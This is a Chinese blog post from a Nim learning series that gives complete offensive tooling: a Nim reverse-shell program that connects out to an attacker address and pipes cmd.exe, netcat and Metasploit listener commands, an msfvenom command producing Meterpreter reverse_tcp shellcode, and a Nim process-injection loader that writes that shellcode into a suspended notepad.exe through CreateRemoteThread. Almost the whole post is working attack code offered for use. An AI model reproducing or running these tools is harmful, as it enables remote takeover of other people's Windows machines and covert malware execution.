• nim 反弹 shell(nim学习系列)


    nim 反弹 shell(nim学习系列)

    反弹 netcat shell

    netcat 监听:

    nc -vv -l -p 80

    nimNC 反弹shell:

    nimNC 172.20.10.4 80

    源代码 nimNC.nim

    #[
        Author: StudyCat
        Blog: https://www.cnblogs.com/studycat
        Github: https://github.com/StudyCat404/myNimExamples
        License: BSD 3-Clause
        References: https://github.com/Potato-Industries/nimrs
    ]#
    
    import net, streams, osproc, os, strutils
    
    let c: Socket = newSocket()
    let host = paramStr(1)
    let port = paramStr(2).parseInt()
    echo "Connected to ",host,":",$port
    c.connect(host, Port(port))
    
    var p = startProcess("cmd.exe", options={poUsePath, poStdErrToStdOut, poEvalCommand, poDaemon})
    var input = p.inputStream()
    var output = p.outputStream()
    
    while true:
      let cmds: string = c.recvLine()
      #Linux/MacOS
      #input.writeLine(cmds & ";echo 'DONEDONE'")
      #Windows
      input.writeLine(cmds & " & echo DONEDONE")
      input.flush()
      var o: string
      while output.readLine(o):
        if o == "DONEDONE":
          break
        c.send(o & "\r\L")
    

    反弹 msf shell

    与反弹 netcat shell 同理,msf 监听:

    use multi/handler

    set payload windows/shell_reverse_tcp

    set lhost 172.20.10.4

    set lport 80

    run

    反弹 msf meterpreter shell

    msf 监听:

    use multi/handler
    set payload windows/x64/meterpreter/reverse_tcp
    set lhost 172.20.10.4
    set lport 80
    run

    生成 shellcode

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=172.20.10.4 LPORT=80 -f csharp

    将生成的shellcode 语法改成 nim 的。

    参考: https://github.com/byt3bl33d3r/OffensiveNim/blob/master/src/shellcode_bin.nim 的代码进行修改。

    源代码 nimMeter.nim

    #[
        Author: Marcello Salvati, Twitter: @byt3bl33d3r
        License: BSD 3-Clause
        StudyCat
        https://www.cnblogs.com/studycat
    ]#
    
    import winim/lean
    import osproc
    
    proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =
    
        # Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D
        let tProcess = startProcess("notepad.exe")
        tProcess.suspend() # That's handy!
        defer: tProcess.close()
    
        echo "[*] Target Process: ", tProcess.processID
    
        let pHandle = OpenProcess(
            PROCESS_ALL_ACCESS, 
            false, 
            cast[DWORD](tProcess.processID)
        )
        defer: CloseHandle(pHandle)
    
        echo "[*] pHandle: ", pHandle
    
        let rPtr = VirtualAllocEx(
            pHandle,
            NULL,
            cast[SIZE_T](shellcode.len),
            MEM_COMMIT,
            PAGE_EXECUTE_READ_WRITE
        )
    
        var bytesWritten: SIZE_T
        let wSuccess = WriteProcessMemory(
            pHandle, 
            rPtr,
            unsafeAddr shellcode,
            cast[SIZE_T](shellcode.len),
            addr bytesWritten
        )
    
        echo "[*] WriteProcessMemory: ", bool(wSuccess)
        echo "    \\-- bytes written: ", bytesWritten
        echo ""
    
        let tHandle = CreateRemoteThread(
            pHandle, 
            NULL,
            0,
            cast[LPTHREAD_START_ROUTINE](rPtr),
            NULL, 
            0, 
            NULL
        )
        defer: CloseHandle(tHandle)
    
        echo "[*] tHandle: ", tHandle
        echo "[+] Injected"
    
    when defined(windows):
        var shellcode: array[510, byte] = [
            byte 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,
            0x48,0x31,0xd2,0x51,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,
            0x8b,0x52,0x20,0x4d,0x31,0xc9,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,
            0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,
            0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,
            0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x0f,0x85,0x72,0x00,0x00,0x00,0x8b,
            0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,
            0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,
            0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,
            0x0d,0xac,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,
            0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,
            0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,
            0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,
            0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,
            0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x00,0x00,
            0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x01,0x00,0x00,0x49,0x89,0xe5,
            0x49,0xbc,0x02,0x00,0x00,0x50,0xac,0x14,0x0a,0x04,0x41,0x54,0x49,0x89,0xe4,
            0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x4c,0x89,0xea,0x68,
            0x01,0x01,0x00,0x00,0x59,0x41,0xba,0x29,0x80,0x6b,0x00,0xff,0xd5,0x6a,0x0a,
            0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,
            0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0x0f,0xdf,0xe0,0xff,0xd5,
            0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,
            0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0x0a,0x49,0xff,0xce,0x75,0xe5,
            0xe8,0x93,0x00,0x00,0x00,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,
            0x6a,0x04,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,0x5f,0xff,0xd5,
            0x83,0xf8,0x00,0x7e,0x55,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,
            0x59,0x68,0x00,0x10,0x00,0x00,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,
            0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,
            0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x02,0xd9,0xc8,
            0x5f,0xff,0xd5,0x83,0xf8,0x00,0x7d,0x28,0x58,0x41,0x57,0x59,0x68,0x00,0x40,
            0x00,0x00,0x41,0x58,0x6a,0x00,0x5a,0x41,0xba,0x0b,0x2f,0x0f,0x30,0xff,0xd5,
            0x57,0x59,0x41,0xba,0x75,0x6e,0x4d,0x61,0xff,0xd5,0x49,0xff,0xce,0xe9,0x3c,
            0xff,0xff,0xff,0x48,0x01,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xb4,0x41,
            0xff,0xe7,0x58,0x6a,0x00,0x59,0x49,0xc7,0xc2,0xf0,0xb5,0xa2,0x56,0xff,0xd5]    
    
        # This is essentially the equivalent of 'if __name__ == '__main__' in python
        when isMainModule:
            injectCreateRemoteThread(shellcode)
    

    截图:

    截图1

    截图2

  • 相关阅读:
    day4-叶卓睿
    day3-任清宇
    Cisco show interface 命令详解
    k8s入门系列之guestbook快速部署
    k8s入门系列之扩展组件(二)kube-ui安装篇
    k8s入门系列之扩展组件(一)DNS安装篇
    k8s入门系列之介绍篇
    k8s入门系列之集群安装篇
    SPAN, RSPAN, ERSPAN
    在Linux下记录所有用户的登录和操作日志
  • 原文地址:https://www.cnblogs.com/StudyCat/p/14413739.html
Copyright © 2020-2023  润新知